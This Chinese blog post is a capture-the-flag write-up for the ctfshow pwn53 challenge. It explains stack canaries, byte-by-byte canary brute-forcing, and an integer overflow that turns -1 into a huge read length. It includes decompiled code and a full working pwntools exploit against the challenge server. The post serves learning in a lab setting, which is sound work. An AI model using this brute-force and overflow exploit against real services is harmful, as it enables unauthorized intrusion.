由于这道题的非常非常重要,我必须单独开一个blog讲解一下
canary保护
一个开了canary保护的栈如下
[高地址]
参数
EIP(返回地址)
EBP
canary
局部变量(缓冲区buf)
[低地址]
为了防止我们覆盖EIP,程序在缓冲区和返回地址之间插了一个随机生成的数值,即canary,如果canary的值和原本不符(比如被我们覆盖成了AAAAAAAA),程序会调用 __stack_chk_fail 函数,终止进程
我们可以把canary理解为cookie
因此,我们必须要在canary的位置覆盖上正确的值,才能覆盖到返回地址,目前有两种办法,泄露和爆破,先讲一下后者
爆破canary
爆破的前提条件
并不是所有的 Canary 都能爆破,通常需要满足以下两个条件之一:
Fork 机制(BROP 中常见):服务器使用 fork() 创建子进程来处理请求。子进程的内存布局(包括 Canary)是父进程的副本,因此每次连接时的 Canary 都是一样的
静态 Canary:Canary 的值是固定的(例如从固定文件中读取,且文件内容不变),或者随机数种子被固定了。只要我们重新连接,Canary 的值还是那个
如果每次程序运行 Canary 都是完全随机且不同的,这种爆破方法就会失效
逐字节爆破canary
如果我们每一次都是尝试不同的地址,那需要尝试256的4次方次,显然不可能,于是我们可以选择逐位爆破,从第1位开始尝试,不动其他3位,这样如果程序不崩溃,那么第1位的值就确定了,以此类推
一个字节的大小是256,也就是说,我们最多需要尝试256*4=1024次即可爆破成功
在我突击了几天python后,终于可以理解这段爆破的方法了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| # 1. 外层循环:决定我们要猜第几个字节(一共4个) for i in range(4): # 2. 内层循环:尝试所有可能的数值(0x00 - 0xFF) for c in range(256): io = remote('pwn.challenge.ctf.show', 28197) # 每次都要重连 io.sendlineafter(b'>', b'-1') # 触发整数溢出漏洞 # 3. 构造试探性 Payload payload = b'a' * 32 + canary + p8(c) io.sendafter(b'$ ', payload) # 4. 接收反馈并判断 res = io.recvall(timeout=1) if b'Canary Value Incorrect' not in res: canary += p8(c) # 猜对了!记录下来 print(f"[*] Found byte: {hex(c)}") io.close() break io.close()
|
eg:ctfshow pwn53
再多一眼看一眼就会爆炸
1 2 3 4 5 6 7 8
| int __cdecl main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0, 2, 0); logo(); canary(); ctfshow(); return 0; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| int canary() { FILE *stream; // [esp+Ch] [ebp-Ch]
stream = fopen("/canary.txt", "r"); if ( !stream ) { puts("/canary.txt: No such file or directory."); exit(0); } fread(&global_canary, 1u, 4u, stream); return fclose(stream); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| int ctfshow() { size_t nbytes; // [esp+4h] [ebp-54h] BYREF char v2[32]; // [esp+8h] [ebp-50h] BYREF char buf[32]; // [esp+28h] [ebp-30h] BYREF int s1; // [esp+48h] [ebp-10h] BYREF int v5; // [esp+4Ch] [ebp-Ch]
v5 = 0; s1 = global_canary; printf("How many bytes do you want to write to the buffer?\n>"); while ( v5 <= 31 ) { read(0, &v2[v5], 1u); if ( v2[v5] == 10 ) break; ++v5; } __isoc99_sscanf(v2, "%d", &nbytes); printf("$ "); read(0, buf, nbytes); if ( memcmp(&s1, &global_canary, 4u) ) { puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!"); exit(-1); } puts("Where is the flag?"); return fflush(stdout); }
|
这个题实际上是没有开启真正的canary保护的,只是在远程部署了一个类canary的文件,然后用memcmp函数去比较,如果不符合&global_canary里的值就会报错并退出,所以属于是静态canary,值是固定的,因此可以爆破
并且已经给了我们flag后门函数,只要把返回地址覆盖到flag就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| int flag() { char s[64]; // [esp+Ch] [ebp-4Ch] BYREF FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory."); exit(0); } fgets(s, 64, stream); puts(s); return fflush(stdout); }
|
但是这时我们又迎来了一个新的问题
1 2 3
| __isoc99_sscanf(v2, "%d", &nbytes); printf("$ "); read(0, buf, nbytes);
|
int sscanf(const char *str, const char *format, …);
功能:从一个字符串中读取与指定格式相符的数据,并将其存储到后续参数指定的变量地址中,即即 &nbytes
而read函数读入的字节长度就是我们传入的nbytes大小,这导致我们输入的长度是被限制的,这时候就需要我们的整数溢出了
整数溢出
这里和CSAPP第二章整数表示和补码的部分高度相关


程序问我们How many bytes do you want to write to the buffer?
假如我们用sscanf输入了-1,会发生什么呢
在内存中,-1 的样子是: 1111 1111 1111 1111 1111 1111 1111 1111 (十六进制为0xFFFFFFFF)
%d指有符号整数,它看到最高位为1时,就知道是负数,具体为什么看CSAPP即可
但是由于我们定义了size_t nbytes,也就是说nbytes是一个无符号数,那么read看到的就是4,294,967,295这个数,即我们可以读入这么长的数
也就是我们先用sscanf读进去-1,再用read函数去爆破canary就可以了
canary爆破模板和最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import *
context(arch='i386', log_level='error') binary = './pwn' canary = b'' #设置初始的canary为空
print(f"[+] 开始爆破 Canary...")
# 第一步:双层循环爆破 4 字节 Canary for i in range(4): for c in range(256): # 每次尝试都必须重新连接 io = remote('pwn.challenge.ctf.show', 28197) io.sendlineafter(b'>', b'-1') # 尝试发送:Padding + 已知Canary + 当前猜测字节 io.sendafter(b'$ ', b'a' * 32 + canary + p8(c)) # 判断:如果没有收到报错信息,说明猜对了 res = io.recvall(timeout=1) if b'Canary Value Incorrect' not in res: canary += p8(c) print(f"[*] Found byte {i+1}: {hex(c)} -> Current: {canary.hex()}") io.close() break # 跳出内层循环,猜下一个字节 io.close()
# 第二步:拿到完整 Canary,发送最终 Payload print(f"[+] Final Canary: {canary.hex()}") io = remote('pwn.challenge.ctf.show', 28197) io.sendlineafter(b'>', b'-1')
payload = flat(b'a' * 32, canary, p32(0) * 4, ELF(binary).sym['flag']) io.sendafter(b'$ ', payload)
io.interactive()
|
